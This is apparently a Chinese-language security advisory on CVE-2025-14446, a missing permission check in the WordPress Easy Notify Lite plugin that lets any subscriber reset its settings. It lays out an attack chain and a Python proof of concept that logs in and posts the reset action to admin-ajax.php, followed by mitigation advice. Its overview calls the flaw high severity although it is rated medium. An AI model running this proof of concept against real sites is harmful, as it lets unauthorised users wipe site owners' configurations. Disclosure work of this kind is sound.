IPBUF安全漏洞报告
English
CVE-2025-14446 CVSS 5.4 中危

CVE-2025-14446 WordPress Easy Notify Lite插件权限绕过漏洞

披露日期: 2025-12-13

漏洞信息

漏洞编号
CVE-2025-14446
漏洞类型
缺少权限检查(Broken Access Control)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WordPress Popup Builder (Easy Notify Lite)插件

相关标签

CVE-2025-14446WordPress插件漏洞权限绕过Broken Access ControlEasy Notify LitePopup Builder缺少权限检查配置重置漏洞

漏洞概述

CVE-2025-14446是WordPress平台下Popup Builder(Easy Notify Lite)插件的一个高危安全漏洞。该插件是一款流行的WordPress弹窗构建器工具,广泛用于网站营销和用户通知功能。漏洞源于插件的easynotify_cp_reset()函数缺少权限检查(Missing Capability Check),导致任何已认证用户(包括最低权限的Subscriber订阅者)都能调用该函数将插件设置重置为默认值。攻击者无需特殊权限,只需拥有一个普通的网站账户即可利用此漏洞。成功利用此漏洞可能导致网站营销活动配置被破坏、用户通知规则丢失、弹窗显示逻辑被重置,进而影响网站的运营效率和用户体验。此外,攻击者可通过反复重置设置造成持续性干扰。

技术细节

漏洞根源在于Easy Notify Lite插件的inc/functions/enoty-functions.php文件第304行的easynotify_cp_reset()函数未进行权限验证。该函数直接处理插件配置的初始化和重置操作,但未使用WordPress的current_user_can()或wp_verify_nonce()等安全机制进行访问控制。WordPress的Subscriber角色默认只有阅读权限(read capability),不应具备修改插件设置的权限。然而,由于该函数缺少add_action或add_shortcode等钩子注册时所需的权限检查,任何登录用户都可以通过直接访问或AJAX请求调用该函数。攻击者可通过构造HTTP请求(如POST /wp-admin/admin-ajax.php或直接调用相关函数)触发配置重置,导致数据库中的插件选项被覆盖为默认值。此漏洞属于OWASP Top 10中的Broken Access Control类别,是WordPress插件常见的安全问题类型之一。

攻击链分析

STEP 1
步骤1
攻击者获取目标WordPress网站的有效账户(Subscriber级别或更高权限)
STEP 2
步骤2
攻击者构造HTTP请求访问easynotify_cp_reset()函数
STEP 3
步骤3
由于函数缺少current_user_can()权限检查,请求被服务器接受
STEP 4
步骤4
插件数据库选项被重置为出厂默认值,导致营销配置、弹窗规则丢失
STEP 5
步骤5
攻击者可反复利用此漏洞造成持续性服务中断

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # WordPress Easy Notify Lite Plugin < 1.1.38 - Authorization Bypass PoC # CVE-2025-14446 target_url = sys.argv[1] if len(sys.argv) > 1 else "http://target-wordpress-site.com" username = sys.argv[2] if len(sys.argv) > 2 else "subscriber_user" password = sys.argv[3] if len(sys.argv) > 3 else "password123" session = requests.Session() # Step 1: Login to WordPress with subscriber account login_url = f"{target_url}/wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": "/wp-admin/", "testcookie": "1" } response = session.post(login_url, data=login_data) if "wordpress_logged_in" in str(session.cookies) or response.status_code == 200: print("[+] Successfully logged in as subscriber") # Step 2: Trigger the reset function via AJAX or direct function call # The easynotify_cp_reset() function lacks capability check reset_url = f"{target_url}/wp-admin/admin-ajax.php" reset_data = { "action": "easynotify_cp_reset", # AJAX action hook "security": "" # Some versions may require nonce } response = session.post(reset_url, data=reset_data) if response.status_code == 200: print("[+] Plugin settings reset successfully!") print("[+] The Easy Notify Lite plugin settings have been reset to defaults") else: print("[-] Reset request failed") else: print("[-] Login failed")

影响范围

Popup Builder (Easy Notify Lite) <= 1.1.37

防御指南

临时缓解措施
如果无法立即升级,可通过以下方式临时缓解:1)在wp-config.php中添加IP白名单限制管理后台访问;2)使用WordPress安全插件(如Wordfence)添加自定义防火墙规则阻止对admin-ajax.php的异常请求;3)临时禁用Easy Notify Lite插件直到完成升级;4)使用.htaccess或Nginx配置限制/wp-admin/目录访问权限,仅允许信任的IP访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表